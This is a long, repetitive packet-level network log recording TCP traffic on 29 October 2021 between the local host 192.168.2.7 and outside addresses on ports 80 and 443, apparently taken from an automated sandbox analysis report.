Oct 29, 2021 15:31:19.318007946 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.324589968 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.324644089 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.324671984 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.324708939 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.324736118 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.329936981 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.329977036 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.330003977 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.330051899 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.330087900 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.330115080 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.330121994 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.330151081 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.330154896 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.330167055 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.331422091 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331466913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331506968 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331512928 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.331540108 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331553936 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.331577063 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331613064 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331626892 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.331639051 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331675053 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331703901 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.331711054 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331748009 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331759930 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.331784964 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331820965 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331835985 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.331856012 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331882000 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331906080 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.331916094 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331952095 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.331964016 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.331988096 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332014084 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332036972 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.332274914 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.332325935 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.332402945 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.332427979 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.332441092 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.332532883 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332570076 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332592964 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.332603931 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332619905 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.332642078 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332659960 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.332662106 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.332679033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332703114 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.332715034 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332745075 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332772017 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332773924 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.332777977 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.332787037 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.332804918 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.332808018 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332832098 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.332843065 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332871914 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.332886934 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.332894087 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332926035 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.332931995 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332952976 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.332967997 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.332981110 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.332995892 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.333002090 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.333020926 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.333029985 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.333055973 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.333060980 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.333065033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.333091974 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.333098888 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.333101988 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.333118916 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.333129883 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.333139896 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.333163023 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.333183050 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.333198071 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.333209991 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.333216906 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.333235025 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.333287001 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.350862026 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.350913048 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351068974 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351090908 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351110935 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351118088 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351161957 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351165056 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351197004 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351227999 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351322889 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351363897 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351396084 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351408005 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351423025 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351458073 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351562023 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351603985 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351636887 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351649046 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351670027 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351690054 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351808071 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351847887 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351870060 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351886034 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.351902962 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.351924896 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352055073 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352093935 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352128029 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352139950 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352171898 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352186918 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352287054 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352328062 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352360010 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352371931 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352404118 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352422953 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352515936 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352552891 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352585077 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352596998 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352622986 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352648020 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352749109 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352797031 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352829933 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352840900 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.352880001 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.352886915 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353022099 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353060007 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353101015 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353116989 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353130102 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353161097 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353240013 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353277922 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353297949 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353312969 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353338957 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353353977 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353456020 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353494883 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353518009 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353533030 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353549957 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353579044 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353679895 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353719950 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353755951 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353770971 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353784084 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353811979 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353904963 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353943110 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353974104 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.353985071 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.353998899 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.354023933 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.354130030 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.354171038 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.354191065 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.354207993 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.354224920 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.354252100 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.354346991 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.354386091 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.354418039 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.354429960 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.354444981 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.354474068 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.354536057 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.354567051 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.354594946 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.354607105 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.354624033 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.354721069 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.354769945 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.354783058 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.354840994 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.369110107 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:19.369977951 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.370019913 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.370060921 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.370074987 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.370116949 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.370134115 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.370300055 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.370371103 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.370383978 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.370400906 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.370420933 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.370554924 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.370594025 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.370630980 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.370645046 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.370661974 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.370907068 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.370946884 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.370966911 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.370986938 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.371014118 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.371330023 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.371370077 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.371419907 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.371438026 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.371452093 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.371830940 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.371870995 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.371929884 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.371953011 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.371968985 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.372237921 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.372291088 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.372344971 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.372360945 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.372374058 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.372674942 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.372716904 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.372776031 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.372792006 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.372805119 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.373131037 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.373168945 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.373226881 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.373240948 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.373255014 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.373548985 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.373586893 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.373634100 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.373650074 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.373665094 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.373867035 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.373904943 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.373928070 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.373944044 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.373971939 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.374229908 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.374269009 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.374313116 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.374329090 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.374341965 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.374607086 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.374645948 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.374686956 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.374703884 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.374716997 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.374938965 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.374977112 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.375005960 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.375030041 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.375053883 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.375264883 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.375303984 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.375327110 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.375339031 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.375368118 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.375611067 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.375664949 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.375682116 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.375694990 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.375729084 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.376475096 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.376519918 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.376555920 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.376581907 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.376593113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.376621008 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.376640081 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.398655891 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.398704052 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.398736000 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.398751020 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.398762941 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.398780107 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.398788929 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.398817062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.398837090 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.398844957 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.398884058 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.399425983 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.399452925 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.399493933 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.399622917 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.399652004 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.399677038 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.399698019 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.399702072 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.399722099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.399745941 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.399746895 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.399771929 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.399781942 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.399797916 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.399816990 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.399837017 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.400063038 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400089025 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400109053 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.400113106 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400141001 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400151014 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.400166035 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400191069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400199890 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.400209904 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400254965 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.400255919 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400280952 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400305986 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400311947 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.400324106 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400362968 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.400724888 CEST	80	49842	45.141.84.21	192.168.2.7
